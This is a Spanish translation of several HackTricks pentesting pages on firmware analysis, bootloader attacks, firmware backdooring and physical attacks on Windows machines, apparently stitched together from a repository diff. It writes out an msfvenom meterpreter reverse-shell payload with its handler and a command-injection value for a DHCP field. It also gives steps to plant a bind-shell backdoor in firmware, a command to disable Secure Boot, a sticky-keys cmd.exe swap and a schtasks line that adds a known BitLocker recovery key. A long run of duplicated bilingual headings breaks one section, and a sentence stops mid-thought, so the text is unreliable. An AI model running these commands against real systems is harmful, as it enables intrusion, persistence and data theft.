### Analizando el sistema de archivos
Ahora que tiene el sistema de archivos, es hora de empezar a buscar malas prácticas como:
* **Demonios de red inseguros** heredados, como telnetd (a veces los fabricantes renombran los binarios para disfrazarlos)
* **Credenciales codificadas** (nombres de usuario, contraseñas, claves de API, claves SSH y variantes de puerta trasera)
* **Puntos finales de API codificados** y detalles del servidor backend
* Funcionalidad de **servidor de actualización** que podría ser utilizada como punto de entrada
* **Revisar el código no compilado y los scripts de inicio** para la ejecución remota de código
* **Extraer binarios compilados** para su análisis sin conexión con un desensamblador para futuros pasos
Algunas **cosas interesantes para buscar** dentro del firmware:
* etc/shadow y etc/passwd
* listar el directorio etc/ssl
* buscar archivos relacionados con SSL como .pem, .crt, etc.
* buscar archivos de configuración
* buscar archivos de script
* buscar otros archivos .bin
* buscar palabras clave como admin, password, remote, claves de AWS, etc.
* buscar servidores web comunes utilizados en dispositivos IoT
* buscar binarios comunes como ssh, tftp, dropbear, etc.
* buscar funciones c prohibidas
* buscar funciones vulnerables comunes de inyección de comandos
* buscar URL, direcciones de correo electrónico y direcciones IP
* y más...
Herramientas que buscan este tipo de información (aunque siempre debe echar un vistazo manual y familiarizarse con la estructura del sistema de archivos, las herramientas pueden ayudarlo a encontrar **cosas ocultas**):
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng)**:** Impresionante script de bash que en este caso es útil para buscar **información sensible** dentro del sistema de archivos. Simplemente **chroot dentro del sistema de archivos del firmware y ejecútelo**.
* [**Firmwalker**](https://github.com/craigz28/firmwalker)**:** Script de bash para buscar información sensible potencial
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core):
* Identificación de componentes de software como sistema operativo, arquitectura de CPU y componentes de terceros junto con su información de versión asociada
* Extracción del sistema de archivos del firmware (s) de imágenes
* Detección de certificados y claves privadas
* Detección de implementaciones débiles que se asignan a Common Weakness Enumeration (CWE)
* Detección de vulnerabilidades basadas en alimentación y firma
* Análisis estático básico del comportamiento
* Comparación (diff) de versiones y archivos de firmware
* Emulación de modo de usuario de binarios de sistema de archivos utilizando QEMU
* Detección de mitigaciones binarias como NX, DEP, ASLR, canarios de pila, RELRO y FORTIFY\_SOURCE
* REST API
* y más...
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer): FwAnalyzer es una herramienta para analizar imágenes de sistemas de archivos (ext2/3/4), FAT/VFat, SquashFS, UBIFS, archivos de archivo cpio y contenido de directorio utilizando un conjunto de reglas configurables.
* [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep): Una herramienta de análisis de seguridad de firmware IoT de software libre
* [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go): Esta es una reescritura completa del proyecto ByteSweep original en Go.
* [**EMBA**](https://github.com/e-m-b-a/emba): _EMBA_ está diseñado como la herramienta central de análisis de firmware para los probadores de penetración. Admite todo el proceso de análisis de seguridad que comienza con el proceso de extracción de firmware, realiza análisis estáticos y dinámicos a través de la emulación y, finalmente, genera un informe. _EMBA_ descubre automáticamente posibles puntos débiles y vulnerabilidades en el firmware. Ejemplos son binarios inseguros, componentes de software antiguos y desactualizados, scripts potencialmente vulnerables o contraseñas codificadas.
{% hint style="warning" %}
Dentro del sistema de archivos también puede encontrar **código fuente** de programas (que siempre debe **verificar**), pero también **binarios compilados**. Estos programas podrían estar expuestos de alguna manera y debería **descompilarlos** y **verificarlos** en busca de posibles vulnerabilidades.
Herramientas como [**checksec.sh**](https://github.com/slimm609/checksec.sh) pueden ser útiles para encontrar binarios desprotegidos. Para binarios de Windows, podría usar [**PESecurity**](https://github.com/NetSPI/PESecurity).
{% endhint %}
## Emulando Firmware
La idea de emular el firmware es poder realizar un **análisis dinámico** del dispositivo **en ejecución** o de un **programa individual**.
{% hint style="info" %}
A veces, la emulación parcial o completa **puede no funcionar debido a dependencias de hardware o arquitectura**. Si la arquitectura y el endianness coinciden con un dispositivo de propiedad como una frambuesa, el sistema de archivos raíz o un binario específico se pueden transferir al dispositivo para realizar más pruebas. Este método también se aplica a máquinas virtuales preconstruidas que utilizan la misma arquitectura y endianness que el objetivo.
{% endhint %}
### Emulación binaria
Si solo desea emular un programa para buscar vulnerabilidades, primero debe identificar su endianness y la arquitectura de CPU para la que se compiló.
#### Ejemplo de MIPS
```bash
file ./squashfs-root/bin/busybox
./squashfs-root/bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
```
Ahora puedes **emular** el ejecutable de busybox usando **QEMU**.
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Como el ejecutable **está** compilado para **MIPS** y sigue el orden de bytes **big-endian**, usaremos el emulador **`qemu-mips`** de QEMU. Para emular ejecutables **little-endian**, tendríamos que seleccionar el emulador con el sufijo `el` (`qemu-mipsel`).
```bash
qemu-mips -L ./squashfs-root/ ./squashfs-root/bin/ls
100 100.7z 15A6D2.squashfs squashfs-root squashfs-root-0
```
#### Ejemplo ARM
---
##### Firmware Extraction
##### Extracción de Firmware
---
##### Firmware Analysis
##### Análisis de Firmware
---
##### Firmware Modification
##### Modificación de Firmware
---
##### Firmware Emulation
##### Emulación de Firmware
---
##### Firmware Reversing
##### Reversión de Firmware
---
##### Firmware Debugging
##### Depuración de Firmware
---
##### Firmware Dumping
##### Volcado de Firmware
---
##### Firmware Encryption
##### Encriptación de Firmware
---
##### Firmware Decryption
##### Desencriptación de Firmware
---
##### Firmware Signature Bypass
##### Salto de Firma de Firmware
---
##### Firmware Injection
##### Inyección de Firmware
---
##### Firmware Backdoor
##### Puerta trasera de Firmware
---
##### Firmware Rootkit
##### Rootkit de Firmware
---
##### Firmware Bootkit
##### Bootkit de Firmware
---
##### Firmware Exploitation
##### Explotación de Firmware
---
##### Firmware Vulnerabilities
##### Vulnerabilidades de Firmware
---
##### Firmware Protection
##### Protección de Firmware
---
##### Firmware Anti-Tampering
##### Anti-Manipulación de Firmware
---
##### Firmware Obfuscation
##### Ofuscación de Firmware
---
##### Firmware Hooking
##### Hooking de Firmware
---
##### Firmware Debugging
##### Depuración de Firmware
---
##### Firmware Analysis Tools
##### Herramientas de Análisis de Firmware
```bash
file bin/busybox
bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, no section header
```
Emulación:
```bash
qemu-arm -L ./squashfs-root/ ./squashfs-root/bin/ls
1C00000.squashfs B80B6C C41DD6.xz squashfs-root squashfs-root-0
```
### Emulación completa del sistema
Existen varias herramientas, basadas en **qemu** en general, que te permitirán emular el firmware completo:
* [**https://github.com/firmadyne/firmadyne**](https://github.com/firmadyne/firmadyne)**:**
* Necesitas instalar varias cosas, configurar postgres, luego ejecutar el script extractor.py para extraer el firmware, usar el script getArch.sh para obtener la arquitectura. Luego, usar los scripts tar2db.py y makeImage.sh para almacenar información de la imagen extraída en la base de datos y generar una imagen QEMU que podemos emular. Luego, usar el script inferNetwork.sh para obtener las interfaces de red, y finalmente usar el script run.sh, que se crea automáticamente en la carpeta ./scratch/1/.
* [**https://github.com/attify/firmware-analysis-toolkit**](https://github.com/attify/firmware-analysis-toolkit)**:**
* Esta herramienta depende de firmadyne y automatiza el proceso de emulación del firmware usando firmadyne. Necesitas configurar `fat.config` antes de usarlo: `sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0`
* [**https://github.com/therealsaumil/emux**](https://github.com/therealsaumil/emux)
* [**https://github.com/getCUJO/MIPS-X**](https://github.com/getCUJO/MIPS-X)
* [**https://github.com/qilingframework/qiling#qltool**](https://github.com/qilingframework/qiling#qltool)
## **Análisis dinámico**
En esta etapa, deberías tener un dispositivo ejecutando el firmware para atacar o el firmware siendo emulado para atacar. En cualquier caso, es muy recomendable que también tengas **una shell en el sistema operativo y el sistema de archivos que se está ejecutando**.
Ten en cuenta que a veces, si estás emulando el firmware, **algunas actividades dentro de la emulación fallarán** y es posible que debas reiniciar la emulación. Por ejemplo, una aplicación web podría necesitar obtener información de un dispositivo con el que está integrado el dispositivo original, pero la emulación no lo está emulando.
Deberías **revisar el sistema de archivos** como ya hicimos en un **paso anterior, ya que en el entorno de ejecución, puede haber nueva información accesible**.
Si se exponen **páginas web**, leyendo el código y teniendo acceso a ellas, deberías **probarlas**. En hacktricks puedes encontrar mucha información sobre diferentes técnicas de hacking web.
Si se exponen **servicios de red**, deberías intentar atacarlos. En hacktricks puedes encontrar mucha información sobre diferentes técnicas de hacking de servicios de red. También podrías intentar fuzzearlos con fuzzers de red y protocolos como [Mutiny](https://github.com/Cisco-Talos/mutiny-fuzzer), [boofuzz](https://github.com/jtpereyda/boofuzz) y [kitty](https://github.com/cisco-sas/kitty).
Deberías comprobar si puedes **atacar el cargador de arranque** para obtener una shell de root:
{% content-ref url="bootloader-testing.md" %}
[bootloader-testing.md](bootloader-testing.md)
{% endcontent-ref %}
Deberías probar si el dispositivo está realizando algún tipo de **pruebas de integridad del firmware**, si no es así, esto permitiría a los atacantes ofrecer firmwares con puertas traseras, instalarlos en dispositivos que otras personas poseen e incluso desplegarlos de forma remota si hay alguna vulnerabilidad de actualización de firmware:
{% content-ref url="firmware-integrity.md" %}
[firmware-integrity.md](firmware-integrity.md)
{% endcontent-ref %}
Las vulnerabilidades de actualización de firmware suelen ocurrir porque la **integridad** del **firmware** podría **no** ser **validada**, se usan protocolos de **red** **no** **encriptados**, se usan **credenciales** **codificadas** **en duro**, una **autenticación** **insegura** al componente en la nube que aloja el firmware, e incluso un registro excesivo e inseguro (datos sensibles), permiten **actualizaciones físicas** sin verificaciones.
## **Análisis en tiempo de ejecución**
El análisis en tiempo de ejecución implica adjuntarse a un proceso o binario en ejecución mientras un dispositivo se está ejecutando en su entorno normal o emulado. Los pasos básicos del análisis en tiempo de ejecución se proporcionan a continuación:
1. `sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>`
2. Adjuntar gdb-multiarch o usar IDA para emular el binario
3. Establecer puntos de interrupción para las funciones identificadas durante el paso 4, como memcpy, strncpy, strcmp, etc.
4. Ejecutar cadenas de carga útil grandes para identificar desbordamientos o bloqueos del proceso usando un fuzzer
5. Pasar al paso 8 si se identifica una vulnerabilidad
Las herramientas que pueden ser útiles son (no exhaustivas):
* gdb-multiarch
* [Peda](https://github.com/longld/peda)
* Frida
* ptrace
* strace
* IDA Pro
* Ghidra
* Binary Ninja
* Hopper
## **Explotación binaria**
Después de identificar una vulnerabilidad dentro de un binario de los pasos anteriores, se requiere una prueba de concepto (PoC) adecuada para demostrar el impacto y el riesgo del mundo real. El desarrollo de código de explotación requiere experiencia en programación en lenguajes de nivel inferior (por ejemplo, ASM, C/C++, shellcode, etc.) y antecedentes en la arquitectura de destino particular (por ejemplo, MIPS, ARM, x86, etc.). El código de PoC implica obtener una ejecución arbitraria en un dispositivo o aplicación controlando una instrucción en memoria.
No es común que las protecciones de tiempo de ejecución binarias (por ejemplo, NX, DEP, ASLR, etc.) estén en su lugar dentro de los sistemas integrados, sin embargo, cuando esto sucede, pueden ser necesarias técnicas adicionales como la programación orientada a la devolución (ROP). ROP permite a un atacante implementar funcionalidad maliciosa arbitraria encadenando código existente en el código del proceso/binario objetivo conocido como gadgets. Se deberán tomar medidas para explotar una vulnerabilidad identificada, como un desbordamiento de búfer, formando una cadena ROP. Una herramienta que puede ser útil para situaciones como estas es el buscador de gadgets de Capstone o ROP

View file

@ -0,0 +1,27 @@
Cuando se modifica el inicio del dispositivo y los cargadores de arranque como U-boot, se deben intentar las siguientes técnicas:
* Intentar acceder a la shell del intérprete de los cargadores de arranque presionando "0", espacio u otros "códigos mágicos" identificados durante el arranque.
* Modificar las configuraciones para ejecutar un comando de shell como agregar '`init=/bin/sh`' al final de los argumentos de arranque
* `#printenv`
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh`
* `#saveenv`
* `#boot`
* Configurar un servidor tftp para cargar imágenes a través de la red localmente desde su estación de trabajo. Asegúrese de que el dispositivo tenga acceso a la red.
* `#setenv ipaddr 192.168.2.2 #IP local del dispositivo`
* `#setenv serverip 192.168.2.1 #IP del servidor tftp`
* `#saveenv`
* `#reset`
* `#ping 192.168.2.1 #verificar si hay acceso a la red`
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr toma dos argumentos: la dirección para cargar el archivo y el nombre del archivo de la imagen en el servidor TFTP`
* Usar `ubootwrite.py` para escribir la imagen de uboot y cargar un firmware modificado para obtener acceso root.
* Verificar si hay características de depuración habilitadas, como:
* registro detallado
* carga de kernels arbitrarios
* arranque desde fuentes no confiables
* \*Tener precaución: Conectar un pin a tierra, observar la secuencia de arranque del dispositivo, antes de que el kernel se descomprima, cortocircuitar/conectar el pin a tierra al pin de datos (DO) en un chip flash SPI.
* \*Tener precaución: Conectar un pin a tierra, observar la secuencia de arranque del dispositivo, antes de que el kernel se descomprima, cortocircuitar/conectar el pin a tierra al pin 8 y 9 del chip flash NAND en el momento en que U-boot descomprime la imagen UBI.
* \*Revisar la hoja de datos del chip flash NAND antes de cortocircuitar los pines.
* Configurar un servidor DHCP falso con parámetros maliciosos como entrada para que el dispositivo los ingiera durante un arranque PXE.
* Usar el servidor auxiliar DHCP de Metasploit (MSF) y modificar el parámetro '`FILENAME`' con comandos de inyección de comandos como `a";/bin/sh;#` para probar la validación de entrada para los procedimientos de inicio del dispositivo.
\*Pruebas de seguridad de hardware

View file

@ -0,0 +1,32 @@
### Esta página fue copiada de [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
Intenta **subir firmware personalizado y/o binarios compilados** para encontrar fallas de integridad o verificación de firma. Por ejemplo, compila un backdoor bind shell que se inicie al arrancar siguiendo los siguientes pasos.
1. Extrae el firmware con firmware-mod-kit (FMK)
2. Identifica la arquitectura y el endianness del firmware objetivo
3. Construye un compilador cruzado con Buildroot o usa otros métodos que se adapten a tu entorno
4. Usa el compilador cruzado para construir el backdoor
5. Copia el backdoor a /usr/bin del firmware extraído
6. Copia el binario QEMU apropiado al rootfs del firmware extraído
7. Emula el backdoor usando chroot y QEMU
8. Conéctate al backdoor a través de netcat
9. Elimina el binario QEMU del rootfs del firmware extraído
10. Empaqueta el firmware modificado con FMK
11. Prueba el firmware con backdoor emulado con firmware analysis toolkit (FAT) y conectándote a la dirección IP y puerto del backdoor objetivo usando netcat
Si ya se ha obtenido una shell de root a través de análisis dinámico, manipulación del bootloader o medios de prueba de seguridad de hardware, intenta ejecutar binarios maliciosos precompilados como implantes o reverse shells. Considera el uso de herramientas de carga útil/implante automatizadas utilizadas para frameworks de comando y control (C\&C). Por ejemplo, el framework Metasploit y 'msfvenom' se pueden aprovechar siguiendo los siguientes pasos.
1. Identifica la arquitectura y el endianness del firmware objetivo
2. Usa `msfvenom` para especificar la carga útil de destino adecuada (-p), la dirección IP del host del atacante (LHOST=), el número de puerto de escucha (LPORT=), el tipo de archivo (-f), la arquitectura (--arch), la plataforma (--platform linux o windows) y el archivo de salida (-o). Por ejemplo, `msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux`
3. Transfiere la carga útil al dispositivo comprometido (por ejemplo, ejecuta un servidor web local y usa wget/curl para transferir la carga útil al sistema de archivos) y asegúrate de que tenga permisos de ejecución
4. Prepara Metasploit para manejar solicitudes entrantes. Por ejemplo, inicia Metasploit con msfconsole y usa la siguiente configuración de acuerdo con la carga útil anterior: use exploit/multi/handler,
* `set payload linux/armle/meterpreter_reverse_tcp`
* `set LHOST 192.168.1.245 #dirección IP del host del atacante`
* `set LPORT 445 #puede ser cualquier puerto no utilizado`
* `set ExitOnSession false`
* `exploit -j -z`
5. Ejecuta el reverse shell meterpreter en el dispositivo comprometido
6. Observa las sesiones de meterpreter abiertas
7. Realiza actividades de post-explotación
Si es posible, identifica una vulnerabilidad dentro de los scripts de inicio para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, [crean enlaces simbólicos](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) o dependen de código ubicado en ubicaciones montadas no confiables como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.

View file

@ -0,0 +1,154 @@
# Ataques físicos
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Contraseña de BIOS
### La batería
La mayoría de las **placas base** tienen una **batería**. Si la **retiras** durante **30 minutos**, los ajustes de la BIOS se **reiniciarán** (incluida la contraseña).
### Jumper CMOS
La mayoría de las **placas base** tienen un **jumper** que puede reiniciar los ajustes. Este jumper conecta un pin central con otro, si **conectas esos pines, la placa base se reiniciará**.
### Herramientas en vivo
Si pudieras **ejecutar**, por ejemplo, un **Kali** Linux desde un CD/USB en vivo, podrías usar herramientas como _**killCmos**_ o _**CmosPWD**_ (este último está incluido en Kali) para intentar **recuperar la contraseña de la BIOS**.
### Recuperación de contraseña de BIOS en línea
Introduce la contraseña de la BIOS **3 veces mal**, luego la BIOS mostrará un mensaje de error y se bloqueará.\
Visita la página [https://bios-pw.org](https://bios-pw.org) e **introduce el código de error** mostrado por la BIOS y podrías tener suerte y obtener una **contraseña válida** (la **misma búsqueda podría mostrarte diferentes contraseñas y más de 1 podría ser válida**).
## UEFI
Para verificar los ajustes de UEFI y realizar algún tipo de ataque, deberías probar [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\
Usando esta herramienta, podrías desactivar fácilmente el Secure Boot:
```
python chipsec_main.py -module exploits.secure.boot.pk
```
## RAM
### Cold boot
La memoria **RAM es persistente de 1 a 2 minutos** desde el momento en que se apaga la computadora. Si se aplica **frío** (nitrógeno líquido, por ejemplo) en la tarjeta de memoria, se puede extender este tiempo hasta **10 minutos**.
Luego, se puede hacer un **volcado de memoria** (usando herramientas como dd.exe, mdd.exe, Memoryze, win32dd.exe o DumpIt) para analizar la memoria.
Se debe **analizar** la memoria **usando Volatility**.
### [INCEPTION](https://github.com/carmaa/inception)
Inception es una herramienta de **manipulación de memoria física** y hacking que explota DMA basado en PCI. La herramienta puede atacar a través de **FireWire**, **Thunderbolt**, **ExpressCard**, PC Card y cualquier otra interfaz de hardware PCI/PCIe.\
**Conecta** tu computadora a la computadora víctima a través de una de esas **interfaces** e **INCEPTION** intentará **parchear** la **memoria física** para darte **acceso**.
**Si INCEPTION tiene éxito, cualquier contraseña introducida será válida.**
**No funciona con Windows10.**
## Live CD/USB
### Sticky Keys y más
* **SETHC:** _sethc.exe_ se invoca cuando se presiona SHIFT 5 veces
* **UTILMAN:** _Utilman.exe_ se invoca presionando WINDOWS+U
* **OSK:** _osk.exe_ se invoca presionando WINDOWS+U, luego lanzando el teclado en pantalla
* **DISP:** _DisplaySwitch.exe_ se invoca presionando WINDOWS+P
Estos binarios se encuentran dentro de _**C:\Windows\System32**_. Puedes **cambiar** cualquiera de ellos por una **copia** del binario **cmd.exe** (también en la misma carpeta) y cada vez que invoques cualquiera de esos binarios, aparecerá un símbolo del sistema como **SYSTEM**.
### Modificando SAM
Puedes usar la herramienta _**chntpw**_ para **modificar el archivo** _**SAM**_ **de un sistema de archivos de Windows montado**. Luego, podrías cambiar la contraseña del usuario Administrador, por ejemplo.\
Esta herramienta está disponible en KALI.
```
chntpw -h
chntpw -l <path_to_SAM>
```
### **Kon-Boot**
**Kon-Boot** es una de las mejores herramientas disponibles que puede permitirte ingresar a Windows sin conocer la contraseña. Funciona **enganchándose en la BIOS del sistema y cambiando temporalmente el contenido del kernel de Windows** durante el arranque (las nuevas versiones también funcionan con **UEFI**). Luego te permite ingresar **cualquier cosa como contraseña** durante el inicio de sesión. La próxima vez que inicies la computadora sin Kon-Boot, la contraseña original volverá, los cambios temporales se descartarán y el sistema se comportará como si nada hubiera sucedido.\
Lee más: [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)
Es un CD/USB en vivo que puede **parchear la memoria** para que **no necesites conocer la contraseña para iniciar sesión**.\
Kon-Boot también realiza el truco de **StickyKeys** para que puedas presionar _**Shift**_ **5 veces para obtener un cmd de administrador**.
## **Ejecutando Windows**
### Atajos iniciales
### Atajos de arranque
* supr - BIOS
* f8 - Modo de recuperación
* _supr_ - BIOS ini
* _f8_ - Modo de recuperación
* _Shitf_ (después del banner de Windows) - Ir a la página de inicio de sesión en lugar de autologon (evitar autologon)
### **USBs maliciosos**
#### **Tutoriales de Rubber Ducky**
* [Tutorial 1](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Tutorials)
* [Tutorial 2](https://blog.hartleybrody.com/rubber-ducky-guide/)
#### **Teensyduino**
* [Cargas útiles y tutoriales](https://github.com/Screetsec/Pateensy)
También hay toneladas de tutoriales sobre **cómo crear tu propio USB malicioso**.
### Copia de sombra de volumen
Con privilegios de administrador y powershell, podrías hacer una copia del archivo SAM. [Ver este código](../windows-hardening/basic-powershell-for-pentesters/#volume-shadow-copy).
## Saltándose Bitlocker
Bitlocker utiliza **2 contraseñas**. La que usa el **usuario** y la contraseña de **recuperación** (48 dígitos).
Si tienes suerte y dentro de la sesión actual de Windows existe el archivo _**C:\Windows\MEMORY.DMP**_ (es un volcado de memoria), podrías intentar **buscar dentro de él la contraseña de recuperación**. Puedes **obtener este archivo** y una **copia del sistema de archivos** y luego usar _Elcomsoft Forensic Disk Decryptor_ para obtener el contenido (esto solo funcionará si la contraseña está dentro del volcado de memoria). También podrías **forzar el volcado de memoria** usando _**NotMyFault**_ de _Sysinternals_, pero esto reiniciará el sistema y debe ejecutarse como administrador.
También podrías intentar un **ataque de fuerza bruta** usando _**Passware Kit Forensic**_.
### Ingeniería social
Finalmente, podrías hacer que el usuario agregue una nueva contraseña de recuperación haciéndolo ejecutar como administrador:
```bash
schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f
```
Esto agregará una nueva clave de recuperación (compuesta por 48 ceros) en el próximo inicio de sesión.
Para verificar las claves de recuperación válidas, puedes ejecutar:
```
manage-bde -protectors -get c:
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>